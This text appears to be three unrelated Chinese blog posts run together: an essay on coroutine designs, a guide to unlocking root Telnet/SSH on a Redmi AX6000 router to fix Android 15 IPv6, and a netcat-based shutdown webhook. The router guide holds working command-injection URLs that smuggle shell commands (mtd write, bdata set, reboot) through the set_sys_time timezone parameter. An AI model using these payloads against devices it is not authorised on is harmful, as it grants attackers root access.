何谓协程

维基百科的协程条文说道：

There is no single precise definition of coroutine.

确实是这样，这个概念本身出现了好几十年，在不同的语言、不同的库里有五花八门的实现，大家都有不同的理解。维基百科的条文引用了一些古老的文献书籍，给出的定义相当晦涩难懂。

在我看来，协程就是（或者近似于）一个轻量的用户态线程，能够以很小的开销实现异步执行。

系统级/内核级线程虽然相较进程更轻量（除了 Python 用户估计也没人会纠结多进程吧），但是依然有不少开销。线程切换的时候，内核需要亲自出场确认中断和上下文没有问题；线程分配内存的时候，最小的单元也得是一个内存页。另外因为操作系统需要健壮地运行各种线程（无论好的坏的会崩溃的），所以还需要分配很多资源进行防御操作，防止一个线程把整个系统搞挂。

而协程通常是运行在线程内部，协程切换对操作系统完全无感，内存分配也可以任意小。另外因为每一门语言都有自己的规则和限制，所以只需要很少的状态就可以表达一个协程。这样一来，协程的轻量级优势让它比系统原生内核线程的性能要好上不少，几乎没有理由不用。

命名

一定有非常 pedantic 的老学究可以从我上面的解释里挑出很多刺，比如 Goroutine 压根不是 Coroutine！

协程生态里的命名是我最头疼的一件事情。一堆非常相似的东西，但是有细微的差别，因此有不同的名字。同一个东西在不同语言或者不同库里，也会被叫作不同的名字。

Coroutine, goroutine, fiber, green thread, virtual thread, lightweight process，这些概念都是描述这群相似的“轻量用户态线程”，但是又没有一个概括性的词描述他们。

看起来大趋势是，大家都开始习惯用协程（Coroutine）来概括这群东西。但是问题是，协程的协（Co-routine）代表协作（Co-operative）的意思，不是协作式的（比如 Golang，后面细说）怎么也能叫协程？也见过有人会用 Green thread 概括，但是绿色线程也是协作式的！

感觉我也陷入了 pedantic 的圈套。我们真的非常需要一个真正有概括性的、朗朗上口的名字了。在这个名字诞生之前，我决定还是把他们都叫作协程。（所以这篇文章标题叫协程啊哈哈）

现在我们知道不同实现的协程有很多微妙的差别，下面就按几个常见的分类维度展开讲讲。

协作/抢占

协作式（Cooperative）和抢占式（Preemptive）是协程最常见也是最有趣的分类维度。这两者的区别在于，协程是自愿（协作式地）交出控制权，还是被动（抢占式地）失去控制权。

协作式

对于 Javascript/Rust 使用的这些 async/await 形式的协程，他们都是协作式的。每一个 async 定义的函数都是一个协程，在这个协程里 await 另一个协程的时候，就意味着交出了控制权，由调度器决定接下来运行哪个协程。只要协程不 await，那这个线程里就只会一直执行这个协程，其他协程都得等（或者多线程调度器的话，只能放到别的线程跑）。

Python 虽然和 JS/Rust 一样是使用 async/await 语法的协作式协程，但不同的是，协程交出控制权的位置并不是 await，而是 yield（1，2，3）。只有在 await 的目标执行 yield 的时候，才会让上层协程暂停执行交出控制权。如果代码执行中没有碰到 yield，那就算 await 了也不会交出控制权到调度器。Python 的命名也有一些误导，Python 里的 coroutines 只是一个戴着面具的生成器，asyncio.Task 才更接近本文讨论的协程的概念。

这里也催生了一些有趣的技巧，比如新建了一个任务，想要尽快执行怎么办？可以在建立任务后使用 await asyncio.sleep(0) （底下就是一个 yield）主动交出一下控制权，如果事件循环空闲的话这个任务就会立刻开始运行。这对于 IO 类的任务来说非常合适，可以尽快先运行到阻塞的地方等着，这个时间正好回去干正事。（不过 Python 3.14 的 create_task 增加了 eager_start 选项，可以指定 task 立刻执行了）

抢占式

Go 和 Erlang 则实现了抢占式的协程。从使用体感上来说，这种协程和线程几乎没有什么两样，就是创建一个协程，然后扔给调度器跑。我们并不知道什么时候会运行哪个协程，反正调度器会安排。那调度器是怎么安排的呢？我们刚才看到 JS/Rust/Python 都是在 await（或者 yield）的位置主动交出控制权，所以叫协作式；那我们顺理成章推测，抢占式意味着调度器不需要协程同意，可以类似于系统线程一样直接中断执行，进行上下文切换。

这个推测非常有道理，表现上来看也确实是这样，但是底层实现其实没有那么简单。查找 Erlang process（对，Erlang 的协程叫 process…）相关资料的时候，经常会看到相互矛盾的讲法，有些人说 Erlang process 是协作式，有些人说是抢占式。怎么回事？介绍 Erlang BEAM 虚拟机的书 The BEAM Book 在第十章深入介绍了 Erlang/BEAM 的协程机制。其中讲到：

The preemptive multitasking on the Erlang level is achieved by cooperative multitasking on the C level. The Erlang language, the compiler and the virtual machine works together to ensure that the execution of an Erlang process will yield within a limited time and let the next process run.

…

One can describe the scheduling in BEAM as preemptive scheduling on top of cooperative scheduling. A process can only be suspended at certain points of the execution, such as at a receive or a function call. In that way the scheduling is cooperative—a process has to execute code which allows for suspension.

这讲得很明白了。原来 Erlang process 只是披着抢占式的皮，实际上底层还是协作式的！大概类似于所有的函数都默认是 async，所有的函数调用都默认 await，只是不用写出来，但是执行的时候依然是在这些（所有的）函数调用的地方交出控制权，让调度器决定接下来跑谁。调度器采用了一个叫作 reduction counting 的方法来计算协程的用量，基本上就是协程能够调用函数次数的额度。这里的 reduction 名字是从早期 Prolog 版本的 Erlang 来的，Prolog 的每一个执行步骤都叫作规约 reduction。这个名字沿用至今，在这里约等于函数调用。额度早期为 2000，现在是 4000，意味着一个协程调用函数超过 4000 次（或者 IO 阻塞），就会被调度器暂停执行（并恢复额度），换其他协程执行。

那这披着抢占式皮的协作式协程，相比之前纯协作式的有什么区别？在我看来，主要的两大优势在于不用用户操心调度，以及没有函数染色问题（后面再细讲）。

再看 Go 这里，goroutine 的实现是怎么样的呢？神奇的是，直到 2020 年的 Go 1.14 才引入了真正的异步抢占机制。意味着在这之前（包括我 2019 年刚接触 Go 的时候）goroutine 和 Erlang process 一样，底层其实是协作式的！相较 Erlang 的函数调用计数，Go 采用了 10ms 的时间分片，一个协程运行超过 10ms（或者 IO 阻塞）就会被调度器暂停执行，切换别人。但是这样存在一个问题：如果一个协程里有一个长循环，但是一直不调用任何函数，那就会直接阻塞整条线程，因为调度器没有办法真的半路暂停这个协程的执行。

等等！为什么 Go 有这个问题，Erlang 没事呢？巧了，Erlang（当然也包括 Elixir 和 Gleam）作为函数式语言，压根没有循环（for，while 等），所有的循环都得要靠递归实现，这样一来自然没有办法长时间运行而不调用任何函数。虽然一些 FFI 情况下还是可能会阻塞，但是总体上问题不大。而 Go 就没办法绕过这个问题了，所以后来 Go 1.14 终于引入了真正的抢占机制，利用 SIGURG 这个信号通知协程中断执行，保存栈上下文然后交出控制权。

所以有人把 Erlang 和以前的 Go 的方式叫作 cooperative preemption 协作式抢占，而现在的 Go 叫作 non-cooperative preemption 非协作式抢占（抢占式抢占？lol）。

有栈/无栈

另一种常见的分类，是把协程分为有栈协程（stackful coroutine）和无栈协程（stackless coroutine）。顾名思义，有栈协程有自己独立的调用栈，就算在嵌套函数调用中也可以暂停执行交出控制权；而无栈协程没有自己的栈，只能共享主线程的栈，因此也只能在最上层移交控制权。

碰巧的是，上一节提到的协作式协程都是无栈协程，抢占式协程都是有栈协程。对于那些采用 async/await 语法的协程实现来说，正好协程都是以单个函数为单位，调用其他协程必定要交出控制权，因此不存在嵌套调用，无须额外存一个调用栈，因此他们都是无栈协程。至于无栈协程是不是都是协作式，我想抢占式估计也是可以实现，但是那样好像会引入太多复杂度？对于有栈协程，只是碰巧这次举的两个例子都是抢占式，实际上协作式也完全没有问题（你看 Erlang 不其实本质还是协作式嘛，改成真的协作式当然没问题）。

总结来讲，无栈协程主要就是这些 async/await 形式的协程，而有栈协程就是更类似线程形式的那种协程。

有调度器/无调度器

有无调度器是一个蛮有意思的角度。在这篇 Distinguishing coroutines and fibers 文章里，作者对比了 C++ Boost 库里实现的 coroutine 和 fiber 的区别。其中就提到，fiber 是有调度器的，而 coroutine 没有调度器也不需要调度器。

根据这篇文章对这个语境下 coroutine 的介绍，我感觉这其实和 Python 的 coroutine 概念很像，只是一个披着协程皮的生成器而已。这里的 coroutine 只是意味着函数之间可以交替执行，即协作式多任务，而不是真正意义上的并发执行。而这里的 fiber 应该是一个协作式的有栈协程。

要从“多任务”进化到并发，以我的理解，调度器应该是必不可少的，至少也得要有一个事件循环这样的简单调度器。

并行/并发

要从并发进化到并行，那光事件循环可能就不够了。

Python/JS 的协程都是运行在一个事件循环（event loop）上，可以是内置实现，或是其他实现比如 Linux 内核的 io_uring。事件循环本质上其实就是个任务队列，负责追踪协程任务，把准备好的协程取出来运行，把等待阻塞的协程扔回队列。事件循环的功能太过于简陋，只能应付单线程上的并发任务，并没有足够的能力高效运行多线程的并行任务。

多线程场景下，包括 Rust/Go/Erlang，都实现了工作窃取（work stealing）机制。每个线程都有一个独立的任务队列，但是显然这样容易分配不均，某些线程已经提前完成任务进入空闲，但是有些线程还在忙碌。工作窃取机制这时候会让空闲的线程去其他线程的任务队列窃取任务，确保所有线程都能保持忙碌。

染色问题

最后聊聊臭名昭著的函数染色问题。在这篇文章里，作者把异步函数描述为红色函数，同步函数描述为蓝色函数。只有红色函数可以调用红色和蓝色函数，蓝色函数只能调用蓝色函数（只有异步函数可以调用异步函数和同步函数，同步函数只能调用同步函数）。因为异步函数必须要被 await，而只有异步函数可以 await 别人，同步函数不可以，这确实是使用 async/await 语法的协程（无栈协程）共有的痛点。对于新项目，如果规划好要用异步，那从头全部都用异步就行。但是就怕一个同步的老项目引入异步依赖，那这就红蓝火葬场了。

正如作者所说，Go/Erlang/Lua/Ruby 这类有栈协程的设计避免了染色问题。也很好理解，有栈协程的语法通常都类似于启动一个线程，而不用给函数标注是否 async，也就是上色。在有栈协程的眼里，所有的函数都是平等无色的，不用纠结谁能不能调用谁。无栈协程最大的问题就是把协程和函数糅在了一起，同步和异步世界都在函数上，两者要交互势必没法躲开染色；有栈协程的协程和函数是泾渭分明的两个东西，异步世界与函数无关，和同步世界的交互依赖共享内存或者通道等方式，也就不会把函数扯进来。

硬要说的话，有栈协程的开销应该是比无栈协程大一些的。这可以说是用一些运行时的开销，换取了函数的无色吧。

尾声

正如开头所说，我很喜欢协程，我觉得基于协程的异步编程是绝对的未来。Coroutine is goated！

自从手机升级到安卓 15，在家里的 Wi-Fi 网络下就连不通 IPv6 了。实际表现是能获取 IPv6 地址，但是获取不到 IPv6 默认网关，于是无法通过 IPv6 联网。一番探究以后发现，罪魁祸首是家里这台 Redmi AX6000 路由器不标准的路由器通告（RA）。

在安卓 15 的兼容性定义文档里有这么一段：（Android 15 Compatibility Definition）

[C-0-5] Rate-limiting MUST NOT cause the device to lose IPv6 connectivity on any IPv6-compliant network that uses RA lifetimes of at least 180 seconds.

其实这段说明从安卓 6.0 开始到现在的安卓 16 都有，看来只是从安卓 15 开始，安卓系统会忽略生命周期小于 180s 的路由器通告，导致系统无法获取网关。安卓的 issue tracker 上能看到一些相关的报告：[Android 15] [Wi-Fi] Unable to open IPV6 website due to incorrect router lifetime settings in IPV6 RA，IPv6 RA with AdvDefaultLifetime less than 180s not accepted by Android。

小米官方对此的回应：（关于澎湃2.0-安卓15的ipv6）

Android15对IPv6租约时间过低有限制，有些不太规范的路由可能有点问题。后续OTA我们会优化这个问题。

显然是我这台路由器的 RA 报文存在问题。

回应的部门竟然是小米手机系统团队，而不是小米路由器团队，仿佛是默认全天下用小米路由器的都是小米手机。自从 2024 年 10 月安卓 15 正式发布，至今将近两年时间里小米路由器团队都没有做出任何回应，也没有推出任何固件更新，意见反馈也是石沉大海。

方案

对小米路由器有一些了解的人应该都知道，小米路由器的固件一般都是基于 OpenWrt 魔改的。所以如果能 SSH 进入路由器的话，修改一些配置应该就能解决问题吧！

果然有论坛老哥给出了解决方法：（安卓15无法使用ipv6的问题，本文适用进到SSH的路由器，澎湃os2遇上小米路由器时ipv6无法访问的解决方法）

vim /etc/config/dhcp

去看它的config dhcp ’lan’段落

直接加一行

option ra_lifetime ‘1800’

保存重启就可以了

够简单！只要能够解锁路由器的 SSH，就能轻易解决问题了。

（顺便一提，这里 ra_lifetime 使用的数值 1800 确实是 OpenWrt odhcpd 使用的默认值。）

解锁后台访问

巧的是，Redmi AX6000 有非常现成且简便的解锁 SSH/Telnet 的方法。参考：

• [OpenWrt Wiki] Xiaomi Redmi AX6000
• 【解锁SSH】红米Redmi AX6000开启并固化SSH、Telnet的简单方法（RB06）
• 【保姆级教程】红米AX6000永久获取SSH权限（Redmi AX6000）

首先利用 set_sys_time 脚本的 RCE 漏洞启用开发模式。登录路由器网页管理界面，从 URL 获取 stok 以后访问：（stok 填入 {token} 位置）

http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20echo%20pVoAAA%3D%3D%20%7C%20base64%20-d%20%7C%20mtd%20write%20-%20crash%20%3B%20

http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20

http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20

http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20set%20uart_en%3D1%20%3B%20bdata%20commit%20%3B%20

http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20

重启完成后，Telnet 就成功启用了。SSH 服务启动有一些额外判定，还需要后面更多操作才能启用。

此时可以直接 telnet 192.168.31.1 进入路由器后台了，在开发模式下无须密码。（所以为什么等下一定要记得关掉开发模式）

先执行 passwd root 更改 root 密码。不改的话，默认密码也可以在 miwifi.dev 通过路由器的 SN 码计算出来。

大部分教程在这一步会叫你向 nvram 写入“固化SSH”的配置（nvram set ssh_en=1; nvram set telnet_en=1; nvram set uart_en=1; nvram set boot_wait=on; nvram commit），实际上好像并不需要。我的路由器默认 uart_en 和 boot_wait 均已启用，虽然 ssh_en 和 telnet_en 是 0，但实际上并不影响这两者的开启（我们这不是已经用上 Telnet 了吗）。按其他资料来看，“固化”其实是写入 bdata 分区，我们上一步就已经写好了。

接着复原现场，因为之前利用时区接口的漏洞破坏了相关设置，所以需要恢复时间设置：

1uci set system.@system[0].timezone='CST-8'
2uci set system.@system[0].webtimezone='CST-8'
3uci set system.@system[0].timezoneindex='2.84'
4uci commit

最后关闭开发模式并重启：

1mtd erase crash
2reboot

至此，我们已经拿到完整的后台 root 权限啦。telnet 192.168.31.1 输入 root 用户，使用默认密码或者刚才改过的密码就可以登录了。

用 Telnet 已经足够进行配置编辑了。不过 Telnet 没有加密，长期用的话确实是个安全隐患，最好是启用 SSH。打开 dropbear SSH 服务的启动脚本，找到 start_service 函数：

 1start_service()
 2{
 3        # 稳定版不能打开ssh服务
 4        flg_ssh=`nvram get ssh_en`
 5        channel=`/sbin/uci get /usr/share/xiaoqiang/xiaoqiang_version.version.CHANNEL`
 6        if [ "$flg_ssh" != "1" -o "$channel" = "release" ]; then
 7                return 0
 8        fi
 9
10        [ -s /etc/dropbear/dropbear_rsa_host_key ] || keygen
11
12        . /lib/functions.sh
13        . /lib/functions/network.sh
14
15        config_load "${NAME}"
16        config_foreach dropbear_instance dropbear
17}

拦路虎很明显是 if [ "$flg_ssh" != "1" -o "$channel" = "release" ]，这里做了两个检查，一个是判断 nvram 的 ssh_en 是否启用，一个是判断当前固件是否为稳定版固件（可以参考这篇帖子）。很多教程费力启用 ssh_en 再用 sed 把 release 改掉，其实直接删掉这三行 if 块即可。

去除拦路虎以后，执行 /etc/init.d/dropbear start 就可以启动 dropbear SSH 服务了。因为这还在使用过时的 ssh-rsa 算法，所以需要使用 ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.31.1 连接。输入默认 root 密码或者刚才改过的密码，就可以登录啦。

不过这样只是临时启动 SSH 而已。/etc/init.d/dropbear 重启以后就会重置，所以改动不是持久化的。想要开机自启动 SSH 的话，可以使用 lemoeo/AX6S 这个项目的 auto_ssh.sh 脚本。依照 README 下载后执行 ./auto_ssh.sh install 即可。（不过用 auto_ssh 的话就需要给 nvram 设置 ssh_en=1 了）

最后的最后，让我们完成一开始的目标：增加 ra_lifetime 配置。

用 Telnet 或者 SSH 登录，编辑 /etc/config/dhcp，在 config dhcp 'lan' 块的最后增加 option ra_lifetime '1800'，保存重启，大功告成。

打开手机验证一下，终于能够正确拿到 IPv6 网关地址了，test-ipv6 达成 10/10。

尾声

经历了团队重组的小米路由器，在几年（2020-2023？）的高光后，又回到了仿佛 2016-2019 年那段管生不管养的日子。对于路由器这种长寿命产品，后续维护的价值几乎可以超过产品本身。但是小米路由器既没有长期维护，系统也非常封闭，还得感谢社区的逆向工程才能彻底解放硬件。结合最近的一些硬件混用等新闻，几乎可以说是 Enshittification 了。

看来，以后路由器还是得选更专业、更开放的品牌啊。

最近在折腾 DIY 异地备份，从本地 NAS 上远程备份到一个装着 SSD 的单板机上。出于温度、功耗、风扇寿命等等各种考量，希望在每次备份任务结束以后远程系统能自动关机。

（搭配了一个米家智能插座，定时上电单板机会自动启动，然后搭配充电保护功能，在单板机关机后自动关闭电源，这样一来自动化流程完美闭环。）

因为备份软件支持在任务结束以后调用自定义脚本，于是很容易地想到可以开一个 webhook，任务结束以后调用一下关机接口。现成的方案很成熟，比如这个项目 adnanh/webhook，但是对于我这简单到不能再简单的需求来说，这个“轻量级”的 webhook 实现还是略显沉重。之前浅浅了解过 netcat 这个工具，正好借这个机会深入了解一下，手搓一个 webhook 吧！

Netcat 入门

https://en.wikipedia.org/wiki/Netcat

最初 netcat 是由一位名为 Hobbit 的开发者在 1995 年推出的一个 Unix 网络调试工具（最终版 1.10 于 1996 年），后来被多次重写并移植到很多系统上。比较有名的衍生版本包括了 GNU Netcat，OpenBSD Netcat（支持了 IPv6 和 TLS），mini-netcat（BusyBox 的实现），socat（“netcat++"，顾名思义增加了很多针对 socket 的功能），Ncat（Nmap 项目的实现，同样增加了不少功能）。

抛开 socat 和 Ncat 这些改动比较大的现代化版本，目前 Debian/Ubuntu 系的官方 APT 仓库里会提供两种版本的 netcat：netcat-traditional 和 netcat-openbsd。netcat-traditional 就是最原始的那个 Unix 版本的移植，而 netcat-openbsd 则是更强大的 OpenBSD 重写版的移植。这里我选择了使用 OpenBSD 的版本。

调用 netcat 的指令是 netcat 或者 nc，两者被符号链接到了相同的可执行文件上（nc.openbsd）。Netcat 主要有三大功能：

• 监听一个本地 TCP/UDP 端口，并做一些数据交互：（以下样例加 -u 代表 UDP 模式）

  1# -l 代表 listen，监听本地 1234 TCP 端口（收到的数据会打印在终端，也可以用键盘发送数据）
  2nc -l localhost 1234
  3
  4# 监听 1234 TCP 端口，把得到的数据存到文件（不指定 localhost 表示监听本地所有网卡）
  5nc -l -p 1234 > download.txt
  6
  7# 监听 1234 TCP 端口，给所有连接发送这份数据（不指定 localhost 表示监听本地所有网卡）
  8cat upload.txt | nc -l -p 1234
  9nc -l -p 1234 < upload.txt

• 连接一个远程 TCP/UDP 端口，并做数据交互：（以下样例加 -u 代表 UDP 模式）

  1# 向远程 example.com:1234 TCP 端口建立连接
  2nc example.com 1234
  3
  4# 从本地 1234 TCP 端口下载数据
  5nc localhost 1234 > download.txt
  6
  7# 向本地 1234 TCP 端口上传数据
  8cat upload.txt | nc localhost 1234
  9nc localhost 1234 < upload.txt

• 端口扫描（以下样例加 -u 代表 UDP 模式）

  1# -z 扫描模式，-v verbose 详细日志，扫描本地 1234 TCP 端口是否开放
  2nc -zv localhost 1234
  3
  4# -w 超时秒数，扫描远程 example.com 1234-1334 范围 TCP 端口
  5nc -zv -w 5 example.com 1234-1334

总体还是非常简单明了的嘛！

Netcat 服务器

有了以上基础知识，我们已经知道怎么用 nc 在一个端口上收发数据了。那让我们来实现一个简单的服务器吧！

1while true; do
2    req=$(nc -l localhost 8888)
3    echo "Request: $req"
4done

试着请求一下：

1$ echo "test" | nc localhost 8888
2 

两边都卡住了！没有任何输出被打印出来。直到请求方 ctrl-c 终止，服务端才打印出了期待的 Request: test。怎么回事？

快速翻阅一下 man nc 能够发现两个有趣的 flag：

-N      shutdown(2) the network socket after EOF on the input.  Some servers require
        this to finish their work.

-q seconds
        after EOF on stdin, wait the specified number of seconds and then quit. If
        seconds is negative, wait forever (default).  Specifying a non-negative seconds
        implies -N.

意思就是说，默认情况下 netcat 接收到请求方的 EOF 以后，并不会退出执行，而是会继续监听。所以在上面的例子里，服务端和客户端都没有退出，而是继续在等待对方的数据传输。所以解决方法很简单，在服务端加入 -N 选项就可以了，right？…right？

可惜事情没有那么简单，加上 -N 以后两边依然会卡住。我在随意尝试中发现两边都传送信息的话好像才行，例如 echo "123" | nc -l -N localhost 8888，但是服务端和客户端两边的选项组合非常诡异。于是我尝试了所有的组合，列出了下面这个表格：

为什么这个表格不是对角对称的？百思不得其解。客户端组合 echo 和 -N 选项的时候无论如何都能正确结束连接，但是服务端组合两个选项的时候，客户端也需要 echo 些什么才能结束连接。

于是我从互联网深处挖到了这个回答：

networking - BSD nc (netcat) does not terminate on EOF - Server Fault

https://serverfault.com/a/905462

I, too, was puzzled by netcat’s behavior, so I dug into the code. Here’s the whole story:

nc servers (nc -l) and clients only exit after the mutual connection was closed. That is, if each of the parties sent a FIN packet to the other party.

A server always sends a FIN packet after receiving a FIN packet from the client. (Unless the server already sent a FIN packet.)

A client sends a FIN packet either:

• after EOF on stdin, when run with argument -N
• after EOF on stdin, when the server already sent a FIN packet

With option -d stdin is ignored and nc behaves as if it encountered EOF on stdin.

Option -N always implies sending FIN after encountering EOF on stdin.

翻译一下，nc 需要服务端和客户端各向对方发送一个 FIN 包以后才会终止连接。服务端总会在客户端发出 FIN 以后回复一个 FIN，除非服务端已经发过 FIN 了；客户端在 stdin 上读到 EOF 以后，如果有 -N 选项则会发送 FIN，没有的话会在服务端发送 FIN 后也发送 FIN。

所以根据这个回答，我一开始的解读 “默认情况下 netcat 接收到请求方的 EOF 以后” 是错误的，这个 EOF 其实指的是来自服务端和客户端各自 stdin 的 EOF。后面的组合表格也能够解释了，如果客户端组合两个选项，意味着一定会在结束的时候发送 FIN，而服务端接收到 FIN 则会回复 FIN，连接结束；如果客户端不主动发送 FIN，则服务端需要主动发送 FIN，即需要结合完整的两个选项，而且在这个情况下客户端也需要在 stdin 上有输入才会正确回复 FIN（不然没有 EOF）。

回答的最后也提到了 -d 选项，根据 man nc 这个选项意思是 “Do not attempt to read from stdin.”。这样客户端就算没有 stdin，也会认为读到了 EOF，解决了客户端不发送信息终止不了连接的情况。幸好我们有验证机制的需要（下一章）一定会发送一些信息，所以这里不用 -d，直接在 stdin 上传输一些数据就好啦。但是服务端可以用上这个选项，不需要非得返回些信息啦。

综合以上，现在的服务器长这样：

1while true; do
2    req=$(nc -l -d -N localhost 8888)
3    echo "Request: $req"
4done

请求一下：

1$ echo "test" | nc localhost 8888
2$

成了。两边的连接正确终止了，服务端也正确打出了 Request: test。

既然用 nc 也只是往这个端口发送一点数据，那最最有名的请求工具 cURL 调用一下应该也可以吧？

1$ curl localhost:8888
2curl: (52) Empty reply from server

看来 cURL 不喜欢已读不回。服务端改成 echo "hello" | nc -l -N localhost 8888（有 stdin 就可以去掉 -d 了） 试试？

1$ curl localhost:8888
2curl: (1) Received HTTP/0.9 when not allowed

出现了全新的报错！原来，cURL 实际是工作在 HTTP 协议上的，随便在 TCP 端口上返回些字符串可不是 HTTP 协议（或者可以说是 HTTP/0.9，不过 cURL 也说了这不允许）。从服务端的日志里我们可以看到，cURL 发出了一个 GET / HTTP/1.1 的请求，所以解决方法，就是返回一个最简单的 HTTP/1.1 回复报文 HTTP/1.1 200 OK：

1while true; do
2    req=$(echo "HTTP/1.1 200 OK" | nc -l -N localhost 8888)
3    echo "Request: $req"
4done

再试一下 cURL：

 1$ curl -v localhost:8888
 2*   Trying 127.0.0.1:8888...
 3* Connected to localhost (127.0.0.1) port 8888 (#0)
 4> GET / HTTP/1.1
 5> Host: localhost:8888
 6> User-Agent: curl/7.81.0
 7> Accept: */*
 8> 
 9* Mark bundle as not supporting multiuse
10< HTTP/1.1 200 OK
11* Connection #0 to host localhost left intact

一样成了。试一下 echo "test" | nc localhost 8888，依然符合预期是兼容的。

（严格来说这里应该用 printf "HTTP/1.1 200 OK \r\n"，按 HTTP/1.1 RFC 2616 规范，换行应该用 CRLF 而不是 LF。但是实际使用上没有区别，大概因为 cURL 实现了对 LF 的兼容，所以这里图方便就用 echo 了。）

一个歪打正着的点是，如果服务端 nc 没有使用 echo/-d + -N 的话，cURL 也是会卡住的。所以上面的那些挣扎也相当于是提前解决了一些未来的问题….

最后提一嘴先前 man nc 里被忽略的那个 -q 选项。一开始我其实被误导走弯路用了 -q 0 而不是 -N，确实也能用（毕竟 -q 包含了 -N），但是会偶然出现一个问题：客户端认为请求正确完成了，但是服务端没有收到客户端发来的消息。现在我们也很容易解释这个问题了，因为 -q 0 意味着服务端读完 stdin 以后等待 0 秒立刻终止。如果服务端先读取完了 stdin，这时候客户端请求还没进来，那这时候连接就会直接终止，服务端认为没有接收到东西。网上还能搜到这个因为默认 -q 0 而导致问题的上古 bug。

认证机制

真是老不容易终于写出了个能用的服务器。但是我们当然不希望随便谁都能请求，所以下一步，来实现一个简单的认证机制吧。

最简单的想法就是两方定义好一个秘密字符串，客户端直接发送到服务端匹配是否正确。但是这样做有一些安全风险：因为请求全都是明文，所以可以轻松地被中间人和其他能够嗅探流量的人看光光。这样密钥就直接被人偷走了。

那考虑加密一下流量？可惜 Debian/Ubuntu 移植的这个版本的 netcat-openbsd 并不支持在服务端使用 HTTPS，就算支持我也会觉得有点太重（要额外管理证书签发，建立连接也更费时费力）。手搓一个类似 TLS 或者 WPA2/WPA3 的加密也比较困难，因为 netcat 很难在 bash 脚本的环境下做同一连接下多个来回的数据交互。（我相信有 bash 脚本神仙能写出来，但是到这份上我不如去用 Python 了？）

所以最后我决定采用类似 TOTP (Time-based one-time password) 的方式来做认证。倒也并不需要原封不动采用 TOTP 算法，我用类似的概念实现了一个简化版，直接拿密钥连上时间哈希一下：

用 bash 脚本实现则是：

1  echo "<SECRET>_$(($(date +%s)/10))" | sha256sum | cut -d " " -f 1

这里 $(($(date +%s)/10)) 计算的是 Unix 时间戳整除 10，也就是每 10 秒内相同的时间戳。把密钥和时间戳字符串相接后 SHA256 哈希一下，就是我们用于传输的 token 了。cut -d " " -f 1 是用来切掉 sha256sum 最后输出的文件名信息。

用 10 秒作为窗口粒度主要是为了缓解客户端和服务端的时间精度问题。如果能够确保两端时间非常准确地同步，直接用秒级甚至更精确的时间戳自然也是可以。

这样一来，每一个 token 只有 10s 的有效期，反正在这个窗口里重复请求关机并不会产生区别，所以就算被人窃取也没关系（算是一定程度上抵抗重放攻击）。偷听到的 token 也无法反向推出原始的密钥，足够安全了。

于是现在的服务器可以这样来写：

 1while true; do
 2    req=$(echo "HTTP/1.1 200 OK" | nc -l -N localhost 8888)
 3    secret=$(echo "PASSWORD_$(($(date +%s)/10))" | sha256sum | cut -d " " -f 1)
 4    if [[ "$req" = *"$secret"* ]]; then
 5        echo "Secret correct"
 6        # sudo shutdown
 7    else
 8        echo "Secret wrong: $req"
 9    fi
10done

因为 cURL 请求的时候请求体里会有很多其他的内容，所以直接用了暴力匹配 [[ "$req" = *"$secret"* ]]，只要整个请求体里存在这个字符串就判真。反正这个哈希字符串很长很随机，不可能会出现在正常的 cURL 请求里，所以这样没什么问题。

试试用 cURL 和 netcat 请求一下：

1curl localhost:8888/$(echo "PASSWORD_$(($(date +%s)/10))" | sha256sum | cut -d " " -f 1)
2sleep 1
3echo "PASSWORD_$(($(date +%s)/10))" | sha256sum | cut -d " " -f 1 | nc localhost 8888

服务端的输出能够看到符合预期的两个 Secret correct，两种方法都能调用得通。不过因为服务端代码是单线程串行而且没有那么快，所以如果两个请求先后紧挨着调用的话，之间需要 sleep 一下，不然第二个请求可能会打不通。

这里 cURL 的请求，我取巧把 token 直接塞在了 GET 的 path 参数里，也可以选择放在头（-H）或者 POST 参数（-d）里，或者任何地方。我这样的暴力字符串匹配的好处就是，请求体里密钥随便塞哪儿都能行。

Systemd 服务

服务器写好了，是时候把它部署成一个系统服务了。感谢 systemd，现代 Linux 系统里创建服务那是易如反掌。

编辑 /etc/systemd/system/shutdown-webhook.service：（记得把 <PASSWORD> 改成其他的随机字符串！）

 1[Unit]
 2Description=System shutdown webhook
 3After=network.target
 4
 5[Service]
 6Type=exec
 7ExecStart=/bin/bash -ec 'while true; do req=$(echo "HTTP/1.1 200 OK" | nc -l -N 8888); secret=$(echo "<PASSWORD>_$(($(date +%%s)/10))" | sha256sum | cut -d " " -f 1); if [[ "$req" = *"$secret"* ]]; then echo "Secret correct, shutting down..."; shutdown; else echo "Secret wrong: $req"; fi; done'
 8Restart=on-failure
 9
10[Install]
11WantedBy=multi-user.target

这里把整个服务器的脚本写在了同一行里。相当的轻量和简洁，除了几个基础工具以外没有任何额外的依赖。完美！这样一来开机就会自启动这么一个 webhook 接口，随便用什么工具请求一下（当然得带 token），就可以触发远程关机了。

我这里选择使用默认的 root 用户运行这个服务，这样 shutdown 就不需要额外权限。如果想要更安全一点，也可以指定使用普通用户，然后在 sudoers 文件里允许这个用户无密码执行 sudo shutdown 或者其他需要 sudo 的指令。另外 shutdown 没有加 now，也是增加了一分钟的缓冲时间，给系统一些处理后台任务的时间，如果是误操作了也能来得及取消。

我也把这套简单 webhook 服务去掉了关机相关的特定细节，开源在了这里：https://gist.github.com/SteveHawk/454f8060cf955f60e2bee2f79ead0e35

支线：一个 Tailscale 的坑

在实际部署的过程中，还踩到了一个 tailscale 的坑，在这里记录一下。

